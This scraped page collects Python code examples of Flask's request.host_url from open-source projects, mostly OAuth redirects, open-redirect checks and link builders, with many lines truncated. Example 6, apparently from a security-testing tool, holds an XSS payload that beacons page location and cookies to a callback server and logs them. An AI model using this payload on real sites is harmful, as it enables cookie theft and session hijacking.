Python flask.request.host_url() Examples

The following are code examples for showing how to use *flask.request.host_url()*. They are from open source Python projects. You can vote up the examples you like or vote down the ones you don't like.

Example 1

Project: *Office365-SharePoint-Python-Flask-Sample* Author: *OneBitSoftware* File: *app.py* Apache License 2.0 6 vo

```
def auth():
    # Handles the Azure AD authorization endpoint response and sends second respor
    try:
        # Gets the token_id from the flask response form dictionary.
        token_id = request.form['id_token']
        # Gets the authorization code from the flask response form dictionary.
        code = request.form['code']
        # Constructs redirect uri to be send as query string param to Azure AD tok
        redirect_uri = '{0}auth'.format(request.host_url)
        # Constructs Azure AD token issuance endpoint url.
        url = issuance_url(token_id, c['AUTHORITY'])
        # Requests access token and stores it in session.
        token = access_token(url, redirect_uri, c['CLIENT_ID'], code, c['CLIENT_SE
        if token != '':
            session['access_token'] = token
        else:
            flash('Could not get access token.')
    except:
        flash('Something went wrong.')
    return redirect(url_for('home'))

# This script runs the application using a development server.
```

Example 2

Project: *chedible* Author: *cheripai* File: *google.py* Mozilla Public License 2.0 6 vo

```
def google_login():
    # Stores URL of page user was on last
    # This allows them to resume where they left off
    global USER_RETURN_URL
    if request.host_url in request.referrer:
        USER_RETURN_URL = request.referrer
    else:
        USER_RETURN_URL = request.host_url

    redirect_uri = url_for('google_authorized', _external=True)
    params = {
        'scope': 'https://www.googleapis.com/auth/userinfo.email',
        'response_type': 'code',
        'redirect_uri': redirect_uri
    }
    return redirect(google.get_authorize_url(**params))
```

Example 3

Project: *chedible* Author: *cheripai* File: *facebook.py* Mozilla Public License 2.0 6 vo

```
def facebook_login():
    # Stores URL of page user was on last
    # This allows them to resume where they left off
    global USER_RETURN_URL
    if request.host_url in request.referrer:
        USER_RETURN_URL = request.referrer
    else:
        USER_RETURN_URL = request.host_url

    redirect_uri = url_for('facebook_authorized', _external=True)
    params = {
        'client-id': app.config['FACEBOOK_CLIENT_ID'],
        'redirect_uri': redirect_uri,
        'scope': 'email'
    }
    return redirect(facebook.get_authorize_url(**params))
```

Example 4

Project: *mincloud* Author: *number13dev* File: *api.py* MIT License 6 vo

```
def api_makepublic():
    if request.method == 'GET':
        uniqueid = request.args['uniqueid']

        file = File.query.filter_by(unique_id=uniqueid).first()

        if file is not None:
            if g.user.admin or (g.user.id == file.uploader_id):
                key = PublicKey()
                key.public = True
                if file.publickey is None:
                    file.publickey = key
                    db.session.commit()
                    url = request.host_url + "pub/dl/" + key.hash
                    button = get_sharebutton(file.publickey, 'ban', "Disable Publi
                    return jsonify(response=responds['PUBLIC_KEY_GENERATED'], url=
                else:
                    url = request.host_url + "pub/dl/" + file.publickey.hash
                    return jsonify(response=responds['PUBLIC_KEY_ALREADY_GEN'], ur

    return jsonify(response=responds['SOME_ERROR'])
```

Example 5

Project: *pizza-auth* Author: *xxpizzaxx* File: *main.py* MIT License 6 vo

```
def forgot_password():
        if request.method=="GET":
                return render_template("forgot_password.html")
        username = request.form["username"]
        email = request.form["email"]
        try:
                user = ldaptools.getuser(username)
                assert(user)
                assert(email == user.email[0])
                token = ''.join(random.choice(string.ascii_uppercase + string.asci
                url = request.host_url+"recovery/"+token
                recoverymap[token] = username
                emailtools.render_email(email, "Password Recovery", "forgot_passwo
                flash("Email sent to "+email, "success")
```

```
        except Exception as e:
                print e
                flash("Username/Email mismatch", "danger")
        return redirect("/login")
```

Example 6

Project: *vtest* Author: *opensec-cn* File: *vtest.py* Apache License 2.0 6 vo

```
def xss(name, action):
    callback_url = request.host_url + 'xss/' + quote(name) + '/save?l='
    js_body = "(function(){(new Image()).src='" + callback_url + "'+escape((functi
    if action == 'js':
        return js_body
    elif action == 'save':
        args = request.values
        data = [
            name,
            args.get('l', ''),
            args.get('t', ''),
            args.get('o', ''),
            args.get('c', ''), request.remote_addr
        ]
        sql = "INSERT INTO xss (name,location,toplocation,opener,cookie,source_ip,
            VALUES(?, ?, ?, ? ,?, ?, datetime(CURRENT_TIMESTAMP,'localtime'))"

        DB.exec_sql(sql, *data)
        return 'success'
```

Example 7

Project: *pytwask* Author: *renweizhukov* File: *views.py* Apache License 2.0 6 vo

```
def is_safe_url(target):
    """
    Check the target URL will lead to the same host server.

    Parameters
    ----------
    target: str
        The target redirect URL.

    Returns
    -------
    bool
        True if the target URL is safe; False otherwise.
    """
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc
```

Example 8

Project: *GlosBio* Author: *MikolajBalcerek* File: *main.py* MIT License 6 vo

```
def landing_documentation_page():
    """ Landing page for browsable API """

    if request.method == 'GET':
```

```
        """ this will list on routes the default endpoint """

        def list_routes():
            """ helper function that returns all routes in a list """
            output = {}
            for rule in app.url_map.iter_rules():
                methods = ', '.join(rule.methods)
                output[urllib.parse.unquote(rule.endpoint)] = {
                    "name": urllib.parse.unquote(rule.endpoint),
                    "description": " ".join(
                        current_app.view_functions[
                            rule.endpoint].__doc__.split()),
                    "methods": urllib.parse.unquote(methods),
                    "url": urllib.parse.unquote(str(request.host_url))[0:-1]
                    + str(rule)
                }

            return output

        return list_routes()
```

Example 9

Project: *meraki-code* Author: *CiscoDevNet* File: *external_captive_portal.py* MIT License 6 vo

```
def get_click():
    """Process GET requests to the /click URI; render the click.html page."""
    global base_grant_url
    global user_continue_url
    global success_url

    host = request.host_url
    base_grant_url = request.args.get('base_grant_url')
    user_continue_url = request.args.get('user_continue_url')
    node_mac = request.args.get('node_mac')
    client_ip = request.args.get('client_ip')
    client_mac = request.args.get('client_mac')
    success_url = host + "success"

    return render_template(
        "click.html",
        client_ip=client_ip,
        client_mac=client_mac,
        node_mac=node_mac,
        user_continue_url=user_continue_url,
        success_url=success_url,
    )
```

Example 10

Project: *meraki-code* Author: *CiscoDevNet* File: *mission_captive_portal.py* MIT License 6 vo

```
def get_click():
    """Process GET requests to the /click URI; render the click.html page."""
    global base_grant_url
    global user_continue_url
    global success_url

    host = request.host_url
    base_grant_url = request.args.get('base_grant_url')
    user_continue_url = request.args.get('user_continue_url')
```

```
    node_mac = request.args.get('node_mac')
    client_ip = request.args.get('client_ip')
    client_mac = request.args.get('client_mac')
    success_url = host + "success"

    return render_template(
        "click.html",
        client_ip=client_ip,
        client_mac=client_mac,
        node_mac=node_mac,
        user_continue_url=user_continue_url,
        success_url=success_url,
    )
```

Example 11

Project: *pipa-pay-server* Author: *davidvon* File: *views.py* Apache License 2.0 6 vo

```
def weixin_push():
    cache_url(request.host_url)
    if request.data:
        data = request.values
        tag = data.get('tag')
        newsid = data.get('newsid')
        user = data.get('user')
    else:
        tag = request.args['tag']
        newsid = request.args['newsid']
        user = request.args['user']
    users = [user]
    if tag.find("news") >= 0:
        ret = weixin.weixin_reply.push_news_reply(weixin.weixin_helper, newsid, us
    else:
        ret = weixin.weixin_reply.push_text_reply(weixin.weixin_helper, newsid, us
    return str(ret)
```

Example 12

Project: *scarfage* Author: *cmazuc* File: *utility.py* GNU General Public License v2.0 6 vo

```
def redirect_back(endpoint, **values):
    """
    Attempt to redirect back to the referrer. If redirect to the requester's refer
    then attempt to redirect to the provided endpoint.
    """

    def is_safe_url(target):
        ref_url = urlparse(request.host_url)
        test_url = urlparse(urljoin(request.host_url, target))
        return test_url.scheme in ('http', 'https') and \
               ref_url.netloc == test_url.netloc

    target = request.referrer
    if not target or not is_safe_url(target):
        try:
            target = url_for(endpoint, **values)
        except BuildError:
            target = endpoint

    return redirect(target)
```

Example 13

Project: *chaos-monkey-engine* Author: *BBVA* File: *hal.py* Apache License 2.0 6 vo

```
def __init__(self, **kwargs):
        """Initialises a new ``Self`` link instance. Accepts the same
        Keyword Arguments as :class:`.Link`.

        Additional Keyword Args:
            external (bool): if true, force link to be fully-qualified URL, defaul

        See Also:
            :class:`.Link`
        """

        url = request.url
        external = kwargs.get('external', False)
        if not external and current_app.config['SERVER_NAME'] is None:
            url = request.url.replace(request.host_url, '/')

        return super(Self, self).__init__('self', url, **kwargs)
```

Example 14

Project: *quickpaste* Author: *carc1n0gen* File: *unknown_error_view.py* MIT License 6 vo

```
def dispatch_request(self, error):
        tb = traceback.format_exc()
        try:
            mail.send(Message(
                subject='Error From {}'.format(request.host_url),
                recipients=[current_app.config['MAIL_RECIPIENT']],
                body=render_template('email/error.txt.jinja', tb=tb),
                html=render_template('email/error.html.jinja', tb=tb)
            ))
        except Exception:
            current_app.logger.error(f'Failed to send error email {tb}')

        return render_template(
            'view.html',
            text=self.text,
            lines=self.count
        ), 500
```

Example 15

Project: *SayluaLegacy* Author: *saylua* File: *__init__.py* GNU Affero General Public License v3.0 5 vo

```
def is_safe_url(target):
    if not target:
        return False
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 16

Project: *SayluaLegacy* Author: *saylua* File: *__init__.py* GNU Affero General Public License v3.0 5 vo

```
def is_safe_url(target):
    if not target:
        return False
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 17

Project: *Akeso* Author: *ameserole* File: *utils.py* MIT License 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 18

Project: *calibre-web* Author: *janeczku* File: *oauth_bb.py* GNU General Public License v3.0 5 vo

```
def unlink_oauth(provider):
        if request.host_url + 'me' != request.referrer:
            pass
        query = ub.session.query(ub.OAuth).filter_by(
            provider=provider,
            user_id=current_user.id,
        )
        try:
            oauth = query.one()
            if current_user and current_user.is_authenticated:
                oauth.user = current_user
                try:
                    ub.session.delete(oauth)
                    ub.session.commit()
                    logout_oauth_user()
                    flash(_(u"Unlink to %(oauth)s success.", oauth=oauth_check[pro
                except Exception as e:
                    log.exception(e)
                    ub.session.rollback()
                    flash(_(u"Unlink to %(oauth)s failed.", oauth=oauth_check[prov
        except NoResultFound:
            log.warning("oauth %s for user %d not fount", provider, current_user.i
            flash(_(u"Not linked to %(oauth)s.", oauth=oauth_check[provider]), cat
        return redirect(url_for('web.profile'))


    # notify on OAuth provider error
```

Example 19

Project: *calibre-web* Author: *janeczku* File: *redirect.py* GNU General Public License v3.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 20

5 vo

Project: *openeo-openshift-driver* Author: *Open-EO* File: *response.py* Apache License 2.0

```
def __init__(self, msg: str=None, code: int=500, service: str=None,
                 user_id: str=None, internal: bool=True,
                 links: list=[""], **args):

        self._id = uuid4()
        self._service = service
        self._user_id = user_id
        self._code = code
        self._msg = msg
        self._internal = internal
        self._links = [request.host_url + "redoc" + (link[1:] if link.startswith(
```

Example 21

Project: *openeo-openshift-driver* Author: *Open-EO* File: *response.py* Apache License 2.0 5 vo

```
def parse(self, payload: dict) -> Response:
        """Maps and parses the responses that are returned from the single
        endpoints.

        Arguments:
            payload {dict} -- The payload object

        Returns:
            Response -- The parsed response
        """

        if "html" in payload:
            response = self._html(payload["html"])
        elif "msg" in payload:
            response = self._string(payload["code"], payload["msg"])
        elif "data" in payload:
            response = self._data(payload["code"], payload["data"])
        elif "file" in payload:
            response = self._file(payload["file"])
            # Delete temporary created files (e.g. for sync processed files)
            if "delete_file" in payload and payload["delete_file"]:
                os.remove(payload["file"])
            elif "delete_folder" in payload and os.path.isdir(payload["delete_fold
                shutil.rmtree(payload["delete_folder"])
        else:
            response = self._code(payload["code"])

        if "headers" in payload:
            for h_key, h_val in payload["headers"].items():
                if h_key == "Location":
                    h_val = request.host_url + h_val
                response.headers[h_key] = h_val

        return response
```

Example 22

Project: *sysu-ctf* Author: *ssst0n3* File: *utils.py* Apache License 2.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 23

Project: *custom-blog* Author: *studio-salamander* File: *views.py* GNU General Public License v3.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 24

Project: *Office365-SharePoint-Python-Flask-Sample* Author: *OneBitSoftware* File: *app.py* Apache License 2.0 5 vo

```
def home():
    # Renders the home page.
    redirect_uri = '{0}auth'.format(request.host_url)
    # Generates Azure AD authorization endpoint url with parameters so the user au
    url = login_url(redirect_uri, c['CLIENT_ID'], c['RESOURCE'], c['AUTHORITY'])
    user = {}
    # Checks if access token has already been set in flask session.
    if 'access_token' in session:
        # Gets authenticated user details from SharePoint tenant if access token i
        user = user_details(c['RESOURCE'], session['access_token'])
    # Renders the index template with additional params for the login url and user
    return render_template('index.html', url=url, user=user)
```

Example 25

Project: *dribdat* Author: *dataletsch* File: *api.py* MIT License 5 vo

```
def info_event_hackathon_json(event_id):
    event = Event.query.filter_by(id=event_id).first_or_404()
    return jsonify(event.get_schema(request.host_url))

# ------ EVENT PROJECTS ---------

# API: Outputs JSON of projects in the current event, along with its info
```

Example 26

Project: *restangulask* Author: *pdonorio* File: *forms.py* MIT License 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc
```

Example 27

Project: *IncetOps* Author: *staugur* File: *web.py* BSD 3-Clause "New" or "Revised" License 5 vo

```
def get_referrer_url():
    """获取上一页地址"""
    if request.referrer and request.referrer.startswith(request.host_url) and req
        url = request.referrer
    else:
```

```
        url = None
    return url
```

Example 28

Project: *hjlog* Author: *heejongahn* File: *login.py* MIT License 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
        ref_url.netloc == test_url.netloc
```

Example 29

Project: *OVERWATCH* Author: *raymondEhlers* File: *routing.py* BSD 3-Clause "New" or "Revised" License 5 vo

```
def isSafeUrl(target):
    """ Checks URL for safety to ensure that it does not redirect unexpectedly.

    Note:
        Relies on the flask.request object.

    Args:
        target (str): URL for the target to test.
    Returns:
        bool: True if the URL is safe.
    """
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 30

Project: *flask-now* Author: *richgieg* File: *forms.py* MIT License 5 vo

```
def is_safe_redirect_url(target):
    """Assists in preventing open redirect attacks by checking URLs.

    Target URL is accepted as safe if its scheme (protocol) and
    netloc (hostname) fields match those of the current application.
    Target URL is also accepted as safe if its scheme and netloc fields
    are empty, since it's a relative link in the current application.
    Additionaly, the path field is checked for extra slashes which would
    signify a malformed URL. The motivation behind the check for extra
    slashes is because when the redirect URL is a phony relative URL such as
    "////google.com", a redirect is issued and in turn the browser issues
    a GET request for "//google.com", which causes the development server
    to issue a 301 redirect to "google.com". I've found that Nginx does not
    exhibit this behavior, but I figured the extra check couldn't hurt.

    Args:
        target: The redirect URL.

    Returns:
        True if the URL is determined to be safe.
    """
    host_url = urlparse(request.host_url)
    target_url = urlparse(target)
```

```
    if (target_url.scheme == host_url.scheme and
            target_url.netloc == host_url.netloc):
        return True
    if (not target_url.scheme and not target_url.netloc and
            '//' not in target_url.path):
        return True
    return False
```

Example 31

Project: *mincloud* Author: *number13dev* File: *api.py* MIT License 5 vo

```
def api_unpublish():
    if request.method == 'GET':
        uniqueid = request.args['uniqueid']
        file = File.query.filter_by(unique_id=uniqueid).first()
        if file is not None:
            if g.user.admin or (g.user.id == file.uploader_id):
                key = file.publickey

                if key is not None:
                    file.publickey.public = False
                    db.session.commit()
                    url = request.host_url + "pub/dl/" + key.hash
                    return jsonify(response=responds['PUBLIC_KEY_UNPUBLISH'], url=

    return jsonify(response=responds['SOME_ERROR'])
```

Example 32

Project: *mincloud* Author: *number13dev* File: *api.py* MIT License 5 vo

```
def api_publish():
    if request.method == 'GET':
        uniqueid = request.args['uniqueid']
        file = File.query.filter_by(unique_id=uniqueid).first()
        if file is not None:
            if g.user.admin or (g.user.id == file.uploader_id):
                key = file.publickey

                if (key is not None) and (key.public is False):
                    file.publickey.public = True
                    db.session.commit()
                    url = request.host_url + "pub/dl/" + key.hash
                    return jsonify(response=responds['PUBLIC_KEY_PUBLISH'], url=ur

    return jsonify(response=responds['SOME_ERROR'])
```

Example 33

Project: *pass-culture-api* Author: *betagouv* File: *export.py* Mozilla Public License 2.0 5 vo

```
def list_export_urls():
    _check_token()
    return "\n".join([request.host_url + 'exports/models/' + model_name
                      + '?token=' + request.args.get('token')
                      for model_name in filter(_is_exportable, models.__all__)])
```

Example 34

Project: *CherryWaterfall* Author: *staugur* File: *web.py* BSD 3-Clause "New" or "Revised" License 5 vo

```
def get_referrer_url():
    """获取上一页地址"""
    if request.referrer and request.referrer.startswith(request.host_url) and req
        url = request.referrer
    else:
        url = None
    return url
```

Example 35

Project: *NI-Jam-Information-System* Author: *gbaman* File: *logins.py* GNU General Public License v3.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
           ref_url.netloc == test_url.netloc
```

Example 36

Project: *g2uc_CTFd* Author: *Hatuw* File: *utils.py* Apache License 2.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```

Example 37

Project: *MCArchive* Author: *MCArchive* File: *security.py* MIT License 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
           ref_url.netloc == test_url.netloc
```

Example 38

Project: *SwarmOps* Author: *staugur* File: *web.py* BSD 3-Clause "New" or "Revised" License 5 vo

```
def get_referrer_url():
    """获取上一页地址"""
    if request.referrer and request.referrer.startswith(request.host_url) and req
        url = request.referrer
    else:
        url = None
    return url
```

Example 39

Project: *newz* Author: *matoous* File: *redirect.py* GNU General Public License v3.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
```

```
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ("http", "https") and ref_url.netloc == test_url.net
```

Example 40

Project: *myBlog* Author: *adxc* File: *helpers.py* MIT License 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return (test_url.scheme in ('http', 'https') and
            ref_url.netloc == test_url.netloc)
```

Example 41

Project: *meraki-code* Author: *CiscoDevNet* File: *excapsimulator.py* MIT License 5 vo

```
def connect_to_wifi():
    """Save captive portal details; redirect to the External Captive Portal."""

    captive_portal_url = request.form["captive_portal_url"]
    base_grant_url = request.host_url + "splash/grant"
    user_continue_url = request.form["user_continue_url"]
    node_mac = generate_fake_mac()
    client_ip = request.remote_addr
    client_mac = generate_fake_mac()
    splash_click_time = datetime.utcnow().isoformat()
    full_url = (
        captive_portal_url
        + "?base_grant_url=" + base_grant_url
        + "&user_continue_url=" + user_continue_url
        + "&node_mac=" + node_mac
        + "&client_ip=" + client_ip
        + "&client_mac=" + client_mac
    )

    splash_logins.append(
        {
            "name": "Simulated Client",
            "login": "simulatedclient@meraki.com",
            "ssid": "Simulated SSID",
            "loginAt": splash_click_time,
            "gatewayDeviceMac": node_mac,
            "clientMac": client_mac,
            "clientId": client_ip,
            "authorization": "success",
        }
    )

    return redirect(full_url, code=302)
```

Example 42

Project: *geobricks_mapclassify* Author: *geobricks* File: *mapclassify_rest.py* GNU General Public License v2.0 5 vo

```
def get_rasters_spatial_query():
    try:
        user_json = request.get_json()
        log.info(user_json)
```

```
        #TODO: handle it nicer the url to set the distribution download url
        base_url = config["settings"]["base_url"] if "base_url" in config["setting
        distribution_url = request.host_url + base_url + "mapclassify/download/sl
        mapclassify = MapClassify(config)
        result = mapclassify.classify(user_json, distribution_url)
        print result
        return Response(json.dumps(result), content_type='application/json; charse
    except Exception, e:
        log.error(e)
```

Example 43

Project: *pipa-pay-server* Author: *davidvon* File: *flask_openid.py* Apache License 2.0 5 vo

```
def try_login(self, identity_url, ask_for=None):
        """This tries to login with the given identity URL.  This function
        must be called from the login_handler.  The `ask_for` parameter can
        be a set of values to be asked from the openid provider.

        The following strings can be used in the `ask_for` parameter:
        ``aim``, ``blog``, ``country``, ``dob`` (date of birth), ``email``,
        ``fullname``, ``gender``, ``icq``, ``image``, ``jabber``, ``language``,
        ``msn``, ``nickname``, ``phone``, ``postcode``, ``skype``,
        ``timezone``, ``website``, ``yahoo``
        """
        if ask_for and __debug__:
            for key in ask_for:
                if key not in ALL_KEYS:
                    raise ValueError('invalid key %r' % key)
        try:
            consumer = Consumer(SessionWrapper(self), self.store_factory())
            auth_request = consumer.begin(identity_url)
            if ask_for:
                self.attach_reg_info(auth_request, ask_for)
        except discover.DiscoveryFailure:
            self.signal_error(u'The OpenID was invalid')
            return redirect(self.get_current_url())
        trust_root = request.host_url
        return redirect(auth_request.redirectURL(request.host_url,
                                                 self.get_success_url()))
```

Example 44

Project: *pipa-pay-server* Author: *davidvon* File: *forms.py* Apache License 2.0 5 vo

```
def validate_next(self, field):
        if field.data:
            url_next = urlsplit(field.data)
            url_base = urlsplit(request.host_url)
            if url_next.netloc and url_next.netloc != url_base.netloc:
                field.data = ''
                raise ValidationError(get_message('INVALID_REDIRECT')[0])
```

Example 45

Project: *pipa-pay-server* Author: *davidvon* File: *helpers.py* Apache License 2.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
```

```
    return (test_url.scheme in ('http', 'https') and
            ref_url.netloc == test_url.netloc)
```

Example 46

Project: *antminer-monitor* Author: *anselal* File: *util_url.py* GNU General Public License v3.0 5 vo

```
def is_safe_url(target):
    """
    Ensure a relative URL path is on the same domain as this host.
    This protects against the 'Open redirect vulnerability'.

    :param target: Relative url (typically supplied by Flask-Login)
    :type target: str
    :return: str
    """
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
           ref_url.netloc == test_url.netloc
```

Example 47

Project: *scieldas* Author: *autophagy* File: *app.py* MIT License 5 vo

```
def github_oauth():
    uri = "https://github.com/login/oauth/authorize"
    client = current_app.config.get("GITHUB_CLIENT_ID")
    redirect_uri = f"{request.host_url}oauth/github/token"
    return redirect(f"{uri}?client_id={client}&redirect_uri={redirect_uri}")
```

Example 48

Project: *AidenBot* Author: *laymonage* File: *app.py* MIT License 5 vo

```
def handle_file_message(event):
    """Handle file message event."""
    message_content = AIDEN.get_message_content(event.message.id)
    if isinstance(event.source, SourceGroup):
        set_id = event.source.group_id
    elif isinstance(event.source, SourceRoom):
        set_id = event.source.room_id
    else:
        set_id = event.source.user_id

    link = mirror(message_content, event.message.file_name,
                  request.host_url, set_id)

    if not link:
        return

    file_size = int(message_content.response.headers['Content-Length'])

    if file_size > MAXIMUM_MIRROR_SIZE:
        AIDEN.reply_message(
            event.reply_token,
            TextSendMessage(text="File size shouldn't exceed 50 MB.")
        )

    AIDEN.reply_message(
```

```
        event.reply_token, [
            TextSendMessage(text="Mirror:"),
            TextSendMessage(text=link)
            ]
    )
```

Example 49

Project: *zeus* Author: *getsentry* File: *auth.py* Apache License 2.0 5 vo

```
def is_safe_url(target: str) -> bool:
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return (
        # same scheme
        test_url.scheme in ("http", "https")
        and
        # same host and port
        ref_url.netloc == test_url.netloc
        and
        # and different endoint
        ref_url.path != test_url.path
    )
```

Example 50

Project: *CTFd_chinese* Author: *hebtuerror404* File: *__init__.py* Apache License 2.0 5 vo

```
def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.net
```